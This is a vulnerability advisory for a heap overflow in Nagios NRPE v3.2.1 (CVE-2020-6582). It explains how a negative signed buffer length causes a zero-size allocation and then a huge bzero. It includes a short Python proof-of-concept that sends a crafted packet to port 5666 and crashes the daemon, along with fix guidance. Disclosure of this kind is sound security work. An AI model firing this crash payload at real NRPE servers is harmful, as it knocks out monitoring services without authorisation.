usd-2020-0001 (CVE-2020-6582) | Nagios NRPE v.3.2.1


Advisory ID: usd-2020-0001
CVE Number: CVE-2020-6582
Affected Product: Nagios NRPE
Affected Version: v.3.2.1
Vulnerability Type: Memory Corruption (Heap Overflow)
Security Risk: Medium
Vendor URL: https://www.nagios.org/
Vendor Status: Fixed in v.4.0.0 (not verified)

Proof of Concept (PoC)

NRPE allows currently two different packet formats: v2 and v3. The v3 packet format is defined like this:

typedef struct _v3_packet {
int16_t packet_version;
int16_t packet_type;
u_int32_t crc32_value;
int16_t result_code;
int16_t alignment;
int32_t buffer_length;
char buffer[1];
} v3_packet;

Where the member buffer is only a placeholder and gets replaced with the actual payload during processing. The member buffer_length describes the corresponding length of the real payload buffer.

Notice that buffer_length is of type int32_t, which is a signed integer type. This allows NRPE v3 packets to contain a negative buffer length and for our POC we craft a packet with a buffer length of -19.

When the NRPE daemon receives a packet, the read_packet function is called. This function reads the first structure members and finally allocates memory for the NRPE v3 packet. The interesting part of the code looks like this:

// file: src/nrpe.c lines: 2039 to 2044
buffer_size = ntohl(buffer_size);
pkt_size += buffer_size;
if ((*v3_pkt = calloc(1, pkt_size)) == NULL) {
logit(LOG_ERR, "Error: (use_ssl == false): Could not allocate memory for packet");
return -1;
}

So the daemon fetches the buffer_size from our crafted packet (which is -19) and adds it to the pkt_size, which is
previously initialized like this:

// file: src/nrpe.c line: 2023
int32_t pkt_size = sizeof(v3_packet) - 1; // results in: pkt_size = 19

Obviously, the resulting pkt_size is zero and lead to a call to calloc(1, 0), a zero memory allocation.

A zero memory allocation is already a bad thing, since the C specification does not define a default behavior for this case
and the behavior of the program becomes implementation dependent. However, most implementation will return a pointer to
allocated memory of the minimal heap chunk size, which is 16 bytes for 32 bit and 32 byte for 64 bit operating systems.
This is good news for NRPE, since the following actions will not lead to a heap overflow:

// file: src/nrpe.c line: 2046 to 2048
memcpy(*v3_pkt, v2_pkt, common_size);
(*v3_pkt)->buffer_length = htonl(buffer_size);
buff_ptr = (*v3_pkt)->buffer;

The common_size is only 10 and therefore only ten attacker controlled bytes will be copied to the allocated memory, which does
not trigger a heap overflow. However, after these operations, the following function call is made:

// file: src/nrpe.c line: 2051 to 2052
bytes_to_recv = buffer_size;
rc = recvall(sock, buff_ptr, &bytes_to_recv, socket_timeout);

This function call is responsible for receiving the rest of the NRPE v3 packet (the buffer) over the network. As one can see, it uses
buff_ptr (the pointer to our calloc(1,0) allocation) and bytes_to_recv, which is the previously transmitted buffer size of -19.
This function call is potentially dangerous, since inside a call to functions like recv, a value of -19 will be converted to an
unsigned integer, and therefore a large amount of network traffic could be read and copied into the small allocated buffer.

However, in the case of NRPE it will only cause the current thread to crash. The reason is, that recvall does make the following call
before fetching data over the network:

// file: src/utils.c line: 410 to 418
int recvall(int s, char *buf, int *len, int timeout) {
[...]
bzero(buf, *len);
[...]

The function bzero is called with our small allocated buffer and the length of -19. Also for bzero, the value of -19 is converted
to an unsigned integer and becomes a huge number. Therefore, bzero will overflow the heap and try to zero out unmapped virtual memory
segments. This crashes the current thread.

The following python script can produce such a crash:

#!/usr/bin/env python3
import sys
import struct
import socket

HOST = '127.0.0.1'
PORT = 5666

buf = b''
buf += struct.pack(">h", 3)
buf += struct.pack(">h", 1)
buf += struct.pack(">i", 0)
buf += struct.pack(">h", 0)
buf += struct.pack(">h", 0)
buf += struct.pack(">I", 4294967280)
buf += b'junk'

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall(buf)
data = s.recv(1024)

After execution, one can check the syslog and will see the following segfault:

[1848.124323] nrpe[2212]: segfault at 55603f7cb000 ip 00007f4d56b8c7f7 sp 00007fff8e7af748 error 6 in libc-2.29.so[7f4d56a52000+147000]

Fix

The buffer_length should be transmitted as an unsigned integer. Furthermore, one needs to implement checks to prevent an inter overflow attack.

Timeline

Credits

This security vulnerability was discovered by Tobias Neitzel of usd AG.